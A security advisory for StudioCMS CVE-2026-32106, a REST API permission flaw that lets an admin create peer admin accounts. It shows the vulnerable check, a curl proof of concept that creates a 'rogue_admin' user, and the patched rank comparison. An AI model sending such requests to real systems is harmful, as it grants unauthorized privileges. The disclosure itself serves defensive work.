Studiocms CVE-2026-32106

// REST API - only blocks creating 'owner'
if (newUserRank === 'owner' && rank !== 'owner') {
    return yield* new RestAPIError({
        error: 'Unauthorized to create user with owner rank',
    });
}

if (rank === 'admin' && newUserRank === 'owner') {
    return yield* new RestAPIError({
        error: 'Unauthorized to create user with owner rank',
    });
}

// Missing: no check preventing admin from creating admin
// newUserRank='admin' passes all checks

// Dashboard API - blocks creating users at or above own rank
const callerPerm = availablePermissionRanks.indexOf(userData.permissionLevel);
const targetPerm = availablePermissionRanks.indexOf(rank);

if (targetPerm >= callerPerm) {
    return yield* new DashboardAPIError({
        error: 'Unauthorized: insufficient permissions to assign target rank',
    });
}

# 1. Use an admin-level API token
# 2. Create a new admin user via REST API
curl -X POST 'http://localhost:4321/studiocms_api/rest/v1/secure/users' \
  -H 'Authorization: Bearer <admin-api-token>' \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "rogue_admin",
    "email": "rogue@attacker.com",
    "displayname": "Rogue Admin",
    "rank": "admin",
    "password": "StrongP@ssw0rd123"
  }'
# Expected: 403 Forbidden (admin should not create peer admin accounts)
# Actual: 200 with new admin user created

// Before:
if (newUserRank === 'owner' && rank !== 'owner') { ... }
if (rank === 'admin' && newUserRank === 'owner') { ... }

// After:
const availablePermissionRanks = ['unknown', 'visitor', 'editor', 'admin', 'owner'];
const callerPerm = availablePermissionRanks.indexOf(rank);
const targetPerm = availablePermissionRanks.indexOf(newUserRank);

if (targetPerm >= callerPerm) {
    return yield* new RestAPIError({
        error: 'Unauthorized: insufficient permissions to assign target rank',
    });
}